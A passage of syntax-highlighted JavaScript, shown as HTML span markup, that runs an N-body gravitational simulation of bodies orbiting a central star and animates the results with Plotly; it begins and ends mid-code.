<span class="w">  </span><span class="k">return</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="p">(</span><span class="nx">max</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">min</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">min</span><span class="p">;</span>
<span class="p">}</span>

<span class="kd">function</span><span class="w"> </span><span class="nx">deepCopyCoordsArray</span><span class="p">(</span><span class="nx">arr</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">  </span><span class="k">return</span><span class="w"> </span><span class="nx">arr</span><span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">innerArr</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">innerArr</span><span class="p">.</span><span class="nx">slice</span><span class="p">());</span>
<span class="p">}</span>

<span class="kd">function</span><span class="w"> </span><span class="nx">genNBodyResults</span><span class="p">(</span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">tStop</span><span class="p">,</span><span class="w"> </span><span class="nx">nTPts</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodiesStop</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">10</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">6.67408313131313e-11</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>

<span class="w">  </span><span class="kd">var</span><span class="w"> </span><span class="nx">btn</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&quot;startSim3&quot;</span><span class="p">);</span>
<span class="w">  </span><span class="c1">// Set button text to Solving</span>
<span class="w">  </span><span class="kd">var</span><span class="w"> </span><span class="nx">prevText</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">btn</span><span class="p">.</span><span class="nx">innerHTML</span><span class="p">;</span>
<span class="w">  </span><span class="nx">btn</span><span class="p">.</span><span class="nx">innerHTML</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">&quot;Solving...&quot;</span><span class="p">;</span>

<span class="w">  </span><span class="kd">let</span><span class="w"> </span><span class="nx">coords</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="nb">Array</span><span class="p">(</span><span class="nx">nBodies</span><span class="p">).</span><span class="nx">fill</span><span class="p">(</span><span class="mf">0</span><span class="p">),</span><span class="w"> </span><span class="nb">Array</span><span class="p">(</span><span class="nx">nBodies</span><span class="p">).</span><span class="nx">fill</span><span class="p">(</span><span class="mf">0</span><span class="p">),</span><span class="w"> </span><span class="nb">Array</span><span class="p">(</span><span class="nx">nBodies</span><span class="p">).</span><span class="nx">fill</span><span class="p">(</span><span class="mf">0</span><span class="p">),</span><span class="w"> </span><span class="nb">Array</span><span class="p">(</span><span class="nx">nBodies</span><span class="p">).</span><span class="nx">fill</span><span class="p">(</span><span class="mf">0</span><span class="p">)];</span>
<span class="w">  </span><span class="kd">const</span><span class="w"> </span><span class="nx">Mstar</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">2e30</span><span class="p">;</span>
<span class="w">  </span><span class="kd">const</span><span class="w"> </span><span class="nx">Mp</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">Mstar</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">1e4</span><span class="p">;</span>

<span class="w">  </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">let</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="c1">// Initialize coordinates on ~Keplerian orbits</span>
<span class="w">      </span><span class="kd">let</span><span class="w"> </span><span class="nx">accept</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">false</span><span class="p">;</span>
<span class="w">      </span><span class="kd">let</span><span class="w"> </span><span class="nx">r</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">null</span><span class="p">;</span>
<span class="w">      </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">accept</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="c1">// Prevent a particle from spawning within 0.2 AU too close to &quot;star&quot;</span>
<span class="w">          </span><span class="nx">r</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">1.5e11</span><span class="p">;</span><span class="w"> </span><span class="c1">// Say radius of 2 AU</span>
<span class="w">          </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">r</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">1.5e11</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="mf">0.2</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">              </span><span class="nx">accept</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">true</span><span class="p">;</span>
<span class="w">          </span><span class="p">}</span>
<span class="w">      </span><span class="p">}</span>
<span class="w">      </span><span class="kd">const</span><span class="w"> </span><span class="nx">theta</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">uniform</span><span class="p">(</span><span class="mf">0</span><span class="p">,</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">PI</span><span class="p">);</span>
<span class="w">      </span><span class="kd">const</span><span class="w"> </span><span class="nx">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">r</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">cos</span><span class="p">(</span><span class="nx">theta</span><span class="p">);</span>
<span class="w">      </span><span class="kd">const</span><span class="w"> </span><span class="nx">y</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">r</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">sin</span><span class="p">(</span><span class="nx">theta</span><span class="p">);</span>
<span class="w">      </span><span class="kd">const</span><span class="w"> </span><span class="nx">v</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">sqrt</span><span class="p">(</span><span class="nx">G</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">Mstar</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nx">r</span><span class="p">);</span>
<span class="w">      </span><span class="kd">const</span><span class="w"> </span><span class="nx">perturbedV</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">v</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">v</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">1000</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">uniform</span><span class="p">(</span><span class="o">-</span><span class="mf">1</span><span class="p">,</span><span class="w"> </span><span class="mf">1</span><span class="p">);</span><span class="w"> </span><span class="c1">// Perturb the velocities ever so slightly</span>
<span class="w">      </span><span class="kd">const</span><span class="w"> </span><span class="nx">vTheta</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">atan2</span><span class="p">(</span><span class="nx">y</span><span class="p">,</span><span class="w"> </span><span class="nx">x</span><span class="p">);</span>
<span class="w">      </span><span class="nx">coords</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">x</span><span class="p">;</span>
<span class="w">      </span><span class="nx">coords</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">y</span><span class="p">;</span>
<span class="w">      </span><span class="nx">coords</span><span class="p">[</span><span class="mf">2</span><span class="p">][</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">-</span><span class="nx">perturbedV</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">sin</span><span class="p">(</span><span class="nx">vTheta</span><span class="p">);</span>
<span class="w">      </span><span class="nx">coords</span><span class="p">[</span><span class="mf">3</span><span class="p">][</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">perturbedV</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nb">Math</span><span class="p">.</span><span class="nx">cos</span><span class="p">(</span><span class="nx">vTheta</span><span class="p">);</span>
<span class="w">  </span><span class="p">}</span>

<span class="w">  </span><span class="c1">//console.log(&#39;Initial coords:&#39;, coords);</span>


<span class="w">  </span><span class="kd">let</span><span class="w"> </span><span class="nx">masses</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Array</span><span class="p">(</span><span class="nx">nBodies</span><span class="p">).</span><span class="nx">fill</span><span class="p">(</span><span class="nx">Mp</span><span class="p">);</span><span class="w"> </span><span class="c1">// Initialize masses</span>
<span class="w">  </span><span class="nx">masses</span><span class="p">[</span><span class="mf">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">Mstar</span><span class="p">;</span><span class="w"> </span><span class="c1">// Make index one special as the central star</span>
<span class="w">  </span><span class="nx">coords</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="mf">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span>
<span class="w">  </span><span class="nx">coords</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="mf">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span>
<span class="w">  </span><span class="nx">coords</span><span class="p">[</span><span class="mf">2</span><span class="p">][</span><span class="mf">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span>
<span class="w">  </span><span class="nx">coords</span><span class="p">[</span><span class="mf">3</span><span class="p">][</span><span class="mf">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="c1">// Initialize central star at origin with no velocity</span>
<span class="w">  </span><span class="kd">const</span><span class="w"> </span><span class="nx">yearSec</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">365</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">24</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">3600</span><span class="p">;</span>
<span class="w">  </span><span class="kd">const</span><span class="w"> </span><span class="nx">time</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Array</span><span class="p">.</span><span class="kr">from</span><span class="p">({</span><span class="w"> </span><span class="nx">length</span><span class="o">:</span><span class="w"> </span><span class="nx">nTPts</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="p">(</span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">i</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">tStop</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="p">(</span><span class="nx">nTPts</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mf">1</span><span class="p">)</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">yearSec</span><span class="p">);</span><span class="w"> </span><span class="c1">// Years -&gt; s</span>
<span class="w">  </span><span class="kd">let</span><span class="w"> </span><span class="nx">t</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">time</span><span class="p">[</span><span class="mf">0</span><span class="p">];</span>
<span class="w">  </span><span class="kd">const</span><span class="w"> </span><span class="nx">deltaT</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">time</span><span class="p">[</span><span class="mf">1</span><span class="p">]</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">time</span><span class="p">[</span><span class="mf">0</span><span class="p">];</span>
<span class="w">  </span><span class="kd">let</span><span class="w"> </span><span class="nx">tInd</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span>
<span class="w">  </span><span class="kd">const</span><span class="w"> </span><span class="nx">coordsRecord</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="nx">deepCopyCoordsArray</span><span class="p">(</span><span class="nx">coords</span><span class="p">)];</span>
<span class="w">  </span><span class="kd">const</span><span class="w"> </span><span class="nx">massRecord</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[</span><span class="nx">masses</span><span class="p">.</span><span class="nx">slice</span><span class="p">()];</span><span class="w"> </span><span class="c1">// Initialize records with initial conditions</span>


<span class="w">  </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="nx">tInd</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="nx">nTPts</span><span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="nx">nBodies</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="nx">nBodiesStop</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="c1">//console.log(&#39;Initial coords:&#39;, coords);</span>
<span class="w">    </span><span class="p">[</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">nBodyStep</span><span class="p">(</span><span class="nx">coords</span><span class="p">,</span><span class="w"> </span><span class="nx">masses</span><span class="p">,</span><span class="w"> </span><span class="nx">deltaT</span><span class="p">,</span><span class="w"> </span><span class="mf">10</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">1.5e11</span><span class="p">,</span><span class="w"> </span><span class="nx">nBodies</span><span class="p">,</span><span class="w"> </span><span class="nx">G</span><span class="p">);</span><span class="w"> </span><span class="c1">// Update</span>
<span class="w">    </span><span class="nx">coordsRecord</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">deepCopyCoordsArray</span><span class="p">(</span><span class="nx">coords</span><span class="p">));</span>
<span class="w">    </span><span class="nx">massRecord</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">masses</span><span class="p">.</span><span class="nx">slice</span><span class="p">());</span><span class="w"> </span><span class="c1">// Add to records</span>
<span class="w">    </span><span class="nx">tInd</span><span class="o">++</span><span class="p">;</span>
<span class="w">    </span><span class="nx">t</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">time</span><span class="p">[</span><span class="nx">tInd</span><span class="p">];</span>
<span class="w">    </span><span class="c1">//console.log(`currently at t = ${(t / yearSec).toFixed(2)} years\r`);</span>
<span class="w">  </span><span class="p">}</span>
<span class="w">  </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`final time = </span><span class="si">${</span><span class="nx">time</span><span class="p">[</span><span class="nx">tInd</span><span class="p">]</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nx">yearSec</span><span class="si">}</span><span class="sb"> years with </span><span class="si">${</span><span class="nx">nBodies</span><span class="si">}</span><span class="sb"> bodies remaining`</span><span class="p">);</span>

<span class="w">  </span><span class="c1">// Set button text to Start Simulation</span>
<span class="w">  </span><span class="nx">btn</span><span class="p">.</span><span class="nx">innerHTML</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">prevText</span><span class="p">;</span>

<span class="w">  </span><span class="k">return</span><span class="w"> </span><span class="p">[</span><span class="nx">coordsRecord</span><span class="p">,</span><span class="w"> </span><span class="nx">massRecord</span><span class="p">,</span><span class="w"> </span><span class="nx">time</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mf">0</span><span class="p">,</span><span class="w"> </span><span class="nx">tInd</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mf">1</span><span class="p">)];</span>
<span class="p">}</span>


<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="p">[</span><span class="nx">coordsRecordR</span><span class="p">,</span><span class="w"> </span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">tR</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">genNBodyResults</span><span class="p">(</span><span class="mf">256</span><span class="p">,</span><span class="mf">1</span><span class="p">,</span><span class="mf">1001</span><span class="p">);</span>
<span class="w">    </span><span class="c1">//console.log(coordsRecordR);</span>
<span class="w">    </span><span class="kd">const</span><span class="w"> </span><span class="nx">yearSec</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">365</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">24</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mf">3600</span><span class="p">;</span>

<span class="w">    </span><span class="kd">function</span><span class="w"> </span><span class="nx">createFrame</span><span class="p">(</span><span class="nx">coordsR</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">      </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">coordsR</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="o">!</span><span class="nx">coordsR</span><span class="p">[</span><span class="mf">0</span><span class="p">]</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="o">!</span><span class="nx">coordsR</span><span class="p">[</span><span class="mf">1</span><span class="p">])</span><span class="w"> </span><span class="p">{</span>
<span class="w">          </span><span class="k">return</span><span class="w"> </span><span class="p">[];</span>
<span class="w">      </span><span class="p">}</span>

<span class="w">      </span><span class="kd">const</span><span class="w"> </span><span class="nx">traceCentralStar</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w">          </span><span class="nx">x</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="nx">coordsR</span><span class="p">[</span><span class="mf">0</span><span class="p">][</span><span class="mf">0</span><span class="p">]</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">1.5e11</span><span class="p">],</span>
<span class="w">          </span><span class="nx">y</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="nx">coordsR</span><span class="p">[</span><span class="mf">1</span><span class="p">][</span><span class="mf">0</span><span class="p">]</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">1.5e11</span><span class="p">],</span>
<span class="w">          </span><span class="nx">mode</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;markers&#39;</span><span class="p">,</span>
<span class="w">          </span><span class="nx">type</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;scatter&#39;</span><span class="p">,</span>
<span class="w">          </span><span class="nx">name</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;Central star&#39;</span><span class="p">,</span>
<span class="w">          </span><span class="nx">marker</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">color</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;gold&#39;</span><span class="p">,</span><span class="w"> </span><span class="nx">symbol</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;star&#39;</span><span class="p">,</span><span class="w"> </span><span class="nx">size</span><span class="o">:</span><span class="w"> </span><span class="mf">10</span><span class="w"> </span><span class="p">},</span>
<span class="w">      </span><span class="p">};</span>

<span class="w">      </span><span class="kd">const</span><span class="w"> </span><span class="nx">xCoords</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">coordsR</span><span class="p">[</span><span class="mf">0</span><span class="p">].</span><span class="nx">slice</span><span class="p">(</span><span class="mf">1</span><span class="p">).</span><span class="nx">map</span><span class="p">(</span><span class="nx">x</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">x</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">1.5e11</span><span class="p">);</span>
<span class="w">      </span><span class="kd">const</span><span class="w"> </span><span class="nx">yCoords</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">coordsR</span><span class="p">[</span><span class="mf">1</span><span class="p">].</span><span class="nx">slice</span><span class="p">(</span><span class="mf">1</span><span class="p">).</span><span class="nx">map</span><span class="p">(</span><span class="nx">y</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">y</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">1.5e11</span><span class="p">);</span>

<span class="w">      </span><span class="kd">const</span><span class="w"> </span><span class="nx">traceOtherBodies</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w">          </span><span class="nx">x</span><span class="o">:</span><span class="w"> </span><span class="nx">xCoords</span><span class="p">,</span>
<span class="w">          </span><span class="nx">y</span><span class="o">:</span><span class="w"> </span><span class="nx">yCoords</span><span class="p">,</span>
<span class="w">          </span><span class="nx">mode</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;markers&#39;</span><span class="p">,</span>
<span class="w">          </span><span class="nx">type</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;scatter&#39;</span><span class="p">,</span>
<span class="w">          </span><span class="nx">name</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;&#39;</span><span class="p">,</span>
<span class="w">          </span><span class="nx">marker</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">color</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;dodgerblue&#39;</span><span class="p">,</span><span class="w"> </span><span class="nx">symbol</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;circle&#39;</span><span class="p">,</span><span class="w"> </span><span class="nx">size</span><span class="o">:</span><span class="w"> </span><span class="mf">2</span><span class="w"> </span><span class="p">},</span>
<span class="w">      </span><span class="p">};</span>

<span class="w">      </span><span class="k">return</span><span class="w"> </span><span class="p">[</span><span class="nx">traceCentralStar</span><span class="p">,</span><span class="w"> </span><span class="nx">traceOtherBodies</span><span class="p">];</span>
<span class="w">  </span><span class="p">}</span>


<span class="w">  </span><span class="kd">function</span><span class="w"> </span><span class="nx">createLayout</span><span class="p">(</span><span class="nx">i</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">return</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nx">title</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="nx">text</span><span class="o">:</span><span class="w"> </span><span class="sb">`N-Body Problem: t = </span><span class="si">${</span><span class="nb">Number</span><span class="p">(</span><span class="nx">t</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="nx">yearSec</span><span class="p">).</span><span class="nx">toFixed</span><span class="p">(</span><span class="mf">3</span><span class="p">)</span><span class="si">}</span><span class="sb"> years`</span><span class="p">,</span>
<span class="w">            </span><span class="nx">x</span><span class="o">:</span><span class="w"> </span><span class="mf">0.03</span><span class="p">,</span>
<span class="w">            </span><span class="nx">y</span><span class="o">:</span><span class="w"> </span><span class="mf">0.97</span><span class="p">,</span>
<span class="w">            </span><span class="nx">xanchor</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;left&#39;</span><span class="p">,</span>
<span class="w">            </span><span class="nx">yanchor</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;top&#39;</span><span class="p">,</span>
<span class="w">            </span><span class="nx">font</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">size</span><span class="o">:</span><span class="w"> </span><span class="mf">14</span><span class="w"> </span><span class="p">},</span>
<span class="w">        </span><span class="p">},</span>
<span class="w">        </span><span class="nx">xaxis</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">title</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;x [AU]&#39;</span><span class="p">,</span><span class="w"> </span><span class="nx">range</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="o">-</span><span class="mf">2.1</span><span class="p">,</span><span class="w"> </span><span class="mf">2.1</span><span class="p">]</span><span class="w"> </span><span class="p">},</span>
<span class="w">        </span><span class="nx">yaxis</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">title</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;y [AU]&#39;</span><span class="p">,</span><span class="w"> </span><span class="nx">range</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="o">-</span><span class="mf">2.1</span><span class="p">,</span><span class="w"> </span><span class="mf">2.1</span><span class="p">],</span><span class="w"> </span><span class="nx">scaleanchor</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;x&#39;</span><span class="p">,</span><span class="w"> </span><span class="nx">scaleratio</span><span class="o">:</span><span class="w"> </span><span class="mf">1</span><span class="w"> </span><span class="p">},</span>
<span class="w">        </span><span class="nx">showlegend</span><span class="o">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span>
<span class="w">        </span><span class="nx">margin</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">l</span><span class="o">:</span><span class="w"> </span><span class="mf">60</span><span class="p">,</span><span class="w"> </span><span class="nx">r</span><span class="o">:</span><span class="w"> </span><span class="mf">40</span><span class="p">,</span><span class="w"> </span><span class="nx">t</span><span class="o">:</span><span class="w"> </span><span class="mf">40</span><span class="p">,</span><span class="w"> </span><span class="nx">b</span><span class="o">:</span><span class="w"> </span><span class="mf">40</span><span class="w"> </span><span class="p">},</span>
<span class="w">        </span><span class="nx">width</span><span class="o">:</span><span class="w"> </span><span class="mf">800</span><span class="p">,</span>
<span class="w">        </span><span class="nx">height</span><span class="o">:</span><span class="w"> </span><span class="mf">800</span><span class="p">,</span>
<span class="w">        </span><span class="nx">plot_bgcolor</span><span class="o">:</span><span class="w"> </span><span class="s1">&#39;black&#39;</span><span class="p">,</span>
<span class="w">    </span><span class="p">};</span>
<span class="p">}</span>

<span class="w">  </span><span class="kd">function</span><span class="w"> </span><span class="nx">animateNBodyProblem</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">  </span><span class="kd">const</span><span class="w"> </span><span class="nx">nFrames</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">tR</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span>

<span class="w">  </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kd">let</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="nx">nFrames</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">      </span><span class="kd">const</span><span class="w"> </span><span class="nx">frameData</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">createFrame</span><span class="p">(</span><span class="nx">coordsRecordR</span><span class="p">[</span><span class="nx">i</span><span class="p">]);</span>
<span class="w">      </span><span class="kd">const</span><span class="w"> </span><span class="nx">layout</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">createLayout</span><span class="p">(</span><span class="nx">i</span><span class="p">);</span>
<span class="w">      </span><span class="c1">//Plotly.newPlot(plotDiv, frameData, layout);</span>
<span class="w">      </span><span class="k">try</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nx">Plotly</span><span class="p">.</span><span class="nx">animate</span><span class="p">(</span><span class="s2">&quot;plot&quot;</span><span class="p">,</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nx">data</span><span class="o">:</span><span class="w"> </span><span class="nx">frameData</span><span class="p">,</span><span class="w"> </span><span class="nx">layout</span><span class="o">:</span><span class="w"> </span><span class="nx">layout</span>
<span class="w">      </span><span class="p">},</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nx">staticPlot</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span>
<span class="w">        </span><span class="nx">transition</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">          </span><span class="nx">duration</span><span class="o">:</span><span class="w"> </span><span class="mf">0</span><span class="p">,</span>
<span class="w">        </span><span class="p">},</span>
<span class="w">        </span><span class="nx">frame</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">          </span><span class="nx">duration</span><span class="o">:</span><span class="w"> </span><span class="mf">0</span><span class="p">,</span>
<span class="w">          </span><span class="nx">redraw</span><span class="o">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">      </span><span class="p">});</span>
<span class="w">    </span><span class="p">}</span><span class="w"> </span><span class="k">catch</span><span class="w"> </span><span class="p">(</span><span class="nx">err</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
